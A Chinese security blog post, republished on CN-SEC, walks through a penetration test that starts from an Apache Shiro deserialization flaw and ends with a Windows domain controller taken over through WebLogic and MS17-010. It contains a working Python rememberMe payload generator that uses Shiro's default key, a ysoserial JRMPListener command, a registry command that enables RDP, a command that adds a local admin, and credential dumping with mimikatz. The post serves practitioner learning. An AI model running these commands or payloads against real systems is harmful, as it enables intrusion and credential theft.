一次Shiro反序列化引起的域控沦陷

admin 2021年11月23日07:45:20评论99 views字数 3600阅读12分0秒阅读模式


这是 酒仙桥六号部队 的第 9 篇文章。

全文共计2423个字,预计阅读时长8分钟



前言


本文内容是笔者一次从0到1的实战记录,通过一次完整的外网到内网到拿下域控的过程,来为大家带来渗透的一些思路。

内网的环境千变万化,曲折的也有,一帆风顺的也有。唯一不变的就是我们保持一颗发现问题的心,去思考去发现每一次可以达到目标的攻击链,愿各位读者可以在渗透路上一帆风顺!!



渗透过程


1. 拿到权限




大家好,我又带着满满的干货到来,看到这里大家是否想起上一篇的那一名正义的使者呢,没错,我又来了!

今天重头戏开场白是一次Shiro反序列化漏洞的利用,进而通过weblogic-Nday进入了双网卡服务器,本次内网江湖将从此书写。

拿到既定目标时,本着双方友好见面的开始,轻轻的对目标进行扫描,发现一台使用了Shiro组件机器,使用检测脚本看看能不能打。

一次Shiro反序列化引起的域控沦陷

去查看dnslog接收的信息,获取到了remember me的密钥。

一次Shiro反序列化引起的域控沦陷

一切都是这么的天衣无缝,仿佛是给我安排的剧本一样,无压力直接使用Shiro反序列化脚本,进行反弹shell,获取到服务器权限,心中豪情万丈,大有一番shell我有,天下任我走一般的感觉。

一次Shiro反序列化引起的域控沦陷

以往的经验看,还是写一个webshell上去,做一下权限的维持,太多次反弹回来的shell掉了以后,权限一去不复返。

一次Shiro反序列化引起的域控沦陷

成功连接上传webshell,取得开拓性胜利。

一次Shiro反序列化引起的域控沦陷

1.1 Shiro反序列化漏洞利用描述

本着童叟无欺的想法,我想还是和大家说一下,Shiro反序列化利用的整改过程都有哪些。

一次Shiro反序列化引起的域控沦陷

漏洞影响范围: 只要rememberMe的AES加密密钥泄露,无论Shiro是什么版本都会导致反序列化漏洞。

怎么判断网站使用了Shiro?

Shiro反序列化漏洞主要存在Java开发的网站程序中。当你在测试一个系统时,如果当前系统使用Java开发,可以观察登录时,响应包是否存在rememberMe标记,或修改登陆包。

在Cookie中修改为rememberMe=deleteMe,同样观察回包是否存在rememberMe标记。如果存在,基本确定采用Shiro框架进行的认证或权限控制。那就可以使用下面的方法测试漏洞。

一次Shiro反序列化引起的域控沦陷

在服务器开启:JRMP 服务

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '执行的命令'


执行的命令需要编码一下: 这里命令需要进行一下base64编码:

http://www.jackson-t.ca/runtime-exec-payloads.html

Remenberme生产脚本:

import uuidimport base64import subprocessfrom Crypto.Cipher import AES
def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext

if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())


备注:使用方法python Shiro_rce.py ip:port,其中ip和port为上面启动ysoserialJRMP的ip地址和端口号,把生成的remeberme 放burp数据包 发包 ,vps 就能收到shell。

一次Shiro反序列化引起的域控沦陷


2. 内网渗透




接下来日常操作,直接挂代理进入内网,对当前的网段了进行扫描,发现WEB服务居多,目前思路只能从WEB应用下手,尽量获取服务器权限,渗透其他网段。

通过扫描到一个网站服务使用了weblogic中间件,利用cve-2019-2725获取到服务器权限。

一次Shiro反序列化引起的域控沦陷

连接上来发现管理员权限,并且Ipconfig 发现是一台双网卡的机器,但是不在域内,只能搜集有用信息。此时心中万千思绪飘过,一丝光点在脑中一闪而过。对,那就是去连接此电脑的远程桌面。

一次Shiro反序列化引起的域控沦陷

心里想既然是windows主机我就来查看一下是否开通了远程桌面,至于为什么我们要连接远程桌面呢?我个人认为可以方便传输文件并且可以加快整个渗透流程,那么使用netstat -ano | find 3389先查看一下是否开通远程桌面开通。

一次Shiro反序列化引起的域控沦陷

等了一下发现没有反应后,感觉应该没有开通,使用命令REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f进行开通远程桌面。

一次Shiro反序列化引起的域控沦陷

接着我们添加账号test1加入管理员组:

net localgroup administrators test1 /add

一次Shiro反序列化引起的域控沦陷

随后尝试进行远程连接,发现连接不成功,此时首先想到的是防火墙禁止了外联或者有白名单限制,没有多余尝试浪费时间,先放弃连接远程桌面想法。宝宝心里苦,宝宝不说。

一次Shiro反序列化引起的域控沦陷

一次Shiro反序列化引起的域控沦陷

事后想想其实这一步实属弯路,不说实际利用价值,连接远程桌面就是一种暴露自己的行为,难道直接上线CS他不香吗!

因连接不了远程桌面,便直接通过webshell 反弹shell到我们的cs服务器,成功上线。

一次Shiro反序列化引起的域控沦陷

既然此时服务器已上线了,我们就接下来一波信息收集看一下具体内网情况,再决定如何去做吧。

2.1 内网信息收集

2.1.1 ipconfig /all

一次Shiro反序列化引起的域控沦陷

2.1.2 密码抓取

CS自带命令hashdump来抓一下本机hash,成功获得,再使用mimikatz来一波明文密码抓取。

一次Shiro反序列化引起的域控沦陷

一次Shiro反序列化引起的域控沦陷

明文密码获取成功,使用3proxy中的proxysocks,启动一个Socks5http代理服务器, 继而使用proxifier做代理链。

一次Shiro反序列化引起的域控沦陷

本地挂上代理,使用超级弱口令检查工具进行SMB协议爆破,成功拿到多台服务器。

一次Shiro反序列化引起的域控沦陷

依次登录获得口令的服务器,发现其中一台主机在域内,将服务器shell反弹连接到CS服务器,随即对域信息进行收集。

一次Shiro反序列化引起的域控沦陷

2.1.3 定位域控

使用命令net view定位域控主机ip。

一次Shiro反序列化引起的域控沦陷

2.1.4 查看是否当前用户在域中

并使用shell net user administrator /domain来查看当前用户是否在域内。

一次Shiro反序列化引起的域控沦陷

2.1.5 查询域管理员

接着使用shell net group "domain admins /domain"查看域管理员。

一次Shiro反序列化引起的域控沦陷

2.1.6 扫描ms17_010

做完之前信息收集操作,本着之前经验会在内网发现大量MS17_010这类好用的漏洞为前提,扫他一波。事后想了一下动作其实有些大,对方如果有安全设备应该已经告警。

使用命令:Ladon ip/24 MS17010

一次Shiro反序列化引起的域控沦陷

惊喜发现域控竟然存在MS17_010,世界对我如此公平,正义从未迟到,只能说来的刚刚好,完成目标的号角已然吹响。

一次Shiro反序列化引起的域控沦陷

还等什么,让我们拿起手中的msf给他来一把梭哈。


3. msf&cs拿下域控



3.1 msf&cs联动

这里习惯使用msf中的ms17_010漏洞利用模块进行利用。所以需要将MSF代理到目标内网中去。

3.1.1 CS配置

首先我们配置CS通过命令来生成隧道:

gitid
socks 1090

一次Shiro反序列化引起的域控沦陷

view==>proxy pivots==>复制地址:

一次Shiro反序列化引起的域控沦陷

一次Shiro反序列化引起的域控沦陷


3.1.2 msf配置

接着配置msf代理进入企业内网。

一次Shiro反序列化引起的域控沦陷

一次Shiro反序列化引起的域控沦陷

成功通过ms17_010的exp拿到域控权限。

一次Shiro反序列化引起的域控沦陷

一次Shiro反序列化引起的域控沦陷



总结


根据Shiro反序列化进入内网,通过内网中weblogic历史漏洞利用,拿到了双网卡的内网服务器,后利用此服务器进行口令复用,成功拿到一台域内主机,通过ms17_010漏洞扫描并利用拿下域控权限,总体来看还是厂商对安全不够重视,网络控制未做隔离,内网安全意识薄弱。

一次Shiro反序列化引起的域控沦陷

这次渗透比较顺利,但是过程较为完整,可以为大家带来一个整体化的渗透流程思路。如何在外网找到突破口,并如何在内网做信息收集,收集信息的利用方式如何去做,希望可以为大家带来收获。


一次Shiro反序列化引起的域控沦陷

本文始发于微信公众号(谢公子学安全):一次Shiro反序列化引起的域控沦陷

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月23日07:45:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次Shiro反序列化引起的域控沦陷http://cn-sec.com/archives/483537.html

发表评论

匿名网友 填写信息